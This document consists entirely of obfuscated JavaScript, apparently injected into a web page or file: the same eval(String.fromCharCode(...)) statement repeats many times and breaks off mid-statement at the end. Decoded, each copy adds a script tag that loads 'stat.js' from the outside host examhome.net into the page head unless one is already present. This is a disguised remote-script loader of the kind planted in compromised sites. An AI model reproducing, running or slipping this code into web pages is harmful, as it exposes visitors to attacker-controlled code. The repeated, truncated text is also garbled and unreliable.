eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 49, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 